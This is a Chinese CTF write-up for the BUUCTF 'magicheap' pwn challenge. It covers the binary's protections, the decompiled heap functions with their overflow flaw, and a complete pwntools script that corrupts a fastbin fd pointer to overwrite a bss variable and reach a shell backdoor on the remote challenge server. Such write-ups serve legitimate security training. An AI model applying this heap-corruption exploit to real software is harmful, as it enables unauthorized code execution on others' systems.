hitcontraining magicheap

# hitcontraining magicheap

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/hitcontraining_magicheap/magicheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

1
2
3
4
5
6

# 静态分析

主函数如下：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

create_heap函数如下:

unsigned __int64 create_heap()
{
  signed int index; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( index = 0; index <= 9; ++index )
  {
    if ( !heaparray[index] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[index] = malloc(size);
      if ( !heaparray[index] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[index], size);         //堆溢出
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

delete_heap函数如下：

int delete_heap()
{
  int v1; // [rsp+8h] [rbp-8h]
  char buf; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  free(heaparray[v1]);
  heaparray[v1] = 0LL;
  return puts("Done !");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

edit_heap函数如下：

int edit_heap()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  size_t v2; // [rsp+8h] [rbp-8h]

  printf("Index :");
  read(0, &v1 + 4, 4uLL);
  LODWORD(v1) = atoi(&v1 + 4);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  printf("Size of Heap : ", &v1 + 4, v1);
  read(0, &v1 + 4, 8uLL);
  v2 = atoi(&v1 + 4);
  printf("Content of heap : ", &v1 + 4, v1);
  read_input(heaparray[v1], v2);                 //堆溢出
  return puts("Done !");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

menu函数如下：

int menu()
{
  puts("--------------------------------");
  puts("       Magic Heap Creator       ");
  puts("--------------------------------");
  puts(" 1. Create a Heap               ");
  puts(" 2. Edit a Heap                 ");
  puts(" 3. Delete a Heap               ");
  puts(" 4. Exit                        ");
  puts("--------------------------------");
  return printf("Your choice :");
}

1
2
3
4
5
6
7
8
9
10
11
12

l33t函数如下:

int l33t()
{
  return system("/bin/sh");
}

1
2
3
4

read_input函数如下:

ssize_t __fastcall read_input(void *a1, size_t a2)
{
  ssize_t result; // rax

  result = read(0, a1, a2);
  if ( result <= 0 )
  {
    puts("Error");
    _exit(-1);
  }
  return result;
}

1
2
3
4
5
6
7
8
9
10
11
12

# 思路分析

目前信息：
- 程序存在堆溢出点
- 存在后门函数
- Partial RELRO
- Canary found
- NX enabled
- No PIE
思路
- 堆溢出修改fastbin的fd指针，将bss段上的magic伪造成释放堆块，再申请回来修改数据后，调用后门函数即可获得shell

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/hitcontraining_magicheap/magicheap'
io = remote('node4.buuoj.cn', 26156)
# io = process(pwnfile)

def Create(io, size, content):
    io.sendlineafter("Your choice :", '1')
    io.sendlineafter("Size of Heap :", str(size))
    io.sendlineafter("Content of heap:", content)

def Edit(io, index, content):
    io.sendlineafter("Your choice :", '2')
    io.sendlineafter("Index :", str(index))
    io.sendlineafter("Size of Heap :", str(len(content)))
    io.sendlineafter("Content of heap :", content)

def Delete(io, index):
    io.sendlineafter("Your choice :", '3')
    io.sendlineafter("Index :", str(index))

def Backdoor(io):
    io.sendlineafter("Your choice :", '4869')

Create(io, 0x10, 'aaaa')  # 0
Create(io, 0x60, 'bbbb')  # 1
Delete(io, 1)
magic = 0x6020A0
fake_fd = magic-0x13
payload = flat(['a'*0x10, 0, 0x71, fake_fd])
Edit(io, 0, payload)
Create(io, 0x60, 'cccc')
payload = flat(['a'*0x3, 0x1306])
Create(io, 0x60, payload)
Backdoor(io)
io.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

#buuctf #pwn #heap

上次更新: 2022/08/15, 00:29:49

← ciscn 2019 n 3 axb 2019 fmt32→